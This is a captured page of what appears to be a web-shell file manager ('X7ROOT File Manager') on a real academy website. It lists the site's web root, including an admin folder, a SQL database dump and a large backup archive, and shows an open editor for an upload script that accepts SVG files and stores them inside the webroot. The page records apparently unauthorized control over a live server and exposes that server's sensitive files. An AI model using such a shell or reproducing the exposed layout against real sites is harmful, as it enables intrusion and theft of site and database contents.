X7ROOT File Manager
Current Path:
/home/u126090504/domains/gurugyanacademy.in/public_html
home
/
u126090504
/
domains
/
gurugyanacademy.in
/
public_html
/
📁
..
📄
.htaccess
(2.11 KB)
📄
about-us.php
(9.85 KB)
📁
admin
📄
bed.php
(7.51 KB)
📄
branches.php
(5.72 KB)
📁
cgi-bin
📄
chair-person's-message.php
(5.23 KB)
📄
cleanup_README.txt
(1.25 KB)
📄
coaching.php
(6.65 KB)
📄
computer.php
(16.64 KB)
📄
contact-us.php
(6.18 KB)
📄
contactdb.php
(796 B)
📁
css
📄
director's-message.php
(5.19 KB)
📄
download.php
(3.87 KB)
📄
facilities.php
(12.06 KB)
📁
fonts
📄
footer.php
(7.15 KB)
📄
gallery.php
(4.98 KB)
📄
google8b8d2637d334d5a3.html
(53 B)
📁
gurugyan
📄
gurugyan.sql
(5.98 KB)
📄
gurugyan.zip
(64.22 MB)
📄
header.php
(11.02 KB)
📁
images
📄
index.php
(54.28 KB)
📁
js
📁
oca-bls
📁
pdf
📁
revolution
📄
secure_upload.php
(2.87 KB)
📄
showpath.php
(107 B)
📄
spoken-english.php
(7.15 KB)
Editing: secure_upload.php
<?php // secure_upload.php - simple secure uploader (place in public_html) ini_set('display_errors', 0); error_reporting(0); $maxSize = 5 * 1024 * 1024; // 5 MB $allowedExt = ['jpg','jpeg','png','gif','webp','svg','pdf','doc','docx','xls','xlsx','ppt','pptx']; $allowedMimes = [ 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif', 'webp' => 'image/webp', 'svg' => 'image/svg+xml', 'pdf' => 'application/pdf', 'doc' => 'application/msword', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'xls' => 'application/vnd.ms-excel', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'ppt' => 'application/vnd.ms-powerpoint', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', ]; $storage = __DIR__ . DIRECTORY_SEPARATOR . 'uploads'; if (!is_dir($storage)) mkdir($storage, 0750, true); function log_event($msg) { file_put_contents(__DIR__ . DIRECTORY_SEPARATOR . 'upload_activity.log', date('c') . ' - ' . $_SERVER['REMOTE_ADDR'] . ' - ' . $msg . "\n", FILE_APPEND | LOCK_EX); } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $fileName = $_FILES['file']['name']; $fileSize = $_FILES['file']['size']; $fileTmp = $_FILES['file']['tmp_name']; $fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION)); if (!in_array($fileExt, $allowedExt)) { log_event('REJECT ext: ' . $fileName); http_response_code(400); echo json_encode(['ok'=>false,'msg'=>'Invalid file type']); exit; } if ($fileSize > $maxSize) { log_event('REJECT size: ' . $fileName); http_response_code(400); echo json_encode(['ok'=>false,'msg'=>'File too large']); exit; } $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $fileTmp); finfo_close($finfo); if (!isset($allowedMimes[$fileExt]) || strpos($mime, $allowedMimes[$fileExt]) !== 0) { log_event('REJECT mime: ' . $fileName . ' mime=' . $mime); http_response_code(400); echo json_encode(['ok'=>false,'msg'=>'MIME mismatch']); exit; } $newName = uniqid('f_', true) . '.' . $fileExt; $dst = $storage . DIRECTORY_SEPARATOR . $newName; if (move_uploaded_file($fileTmp, $dst)) { @chmod($dst, 0640); log_event('UPLOAD OK: ' . $fileName); echo json_encode(['ok'=>true,'path'=>$dst]); exit; } else { log_event('FAILED move: ' . $fileName); http_response_code(500); echo json_encode(['ok'=>false,'msg'=>'Failed to move']); exit; } } else { ?> <!doctype html><html><head><meta charset="utf-8"><title>Secure Upload</title></head><body> <h3>Secure Upload Test</h3> <form method="post" enctype="multipart/form-data"><input type="file" name="file" required><button>Upload</button></form> <p>Edit $storage in this file to move uploads outside webroot (recommended).</p> </body></html> <?php } ?>
Upload File
Create Folder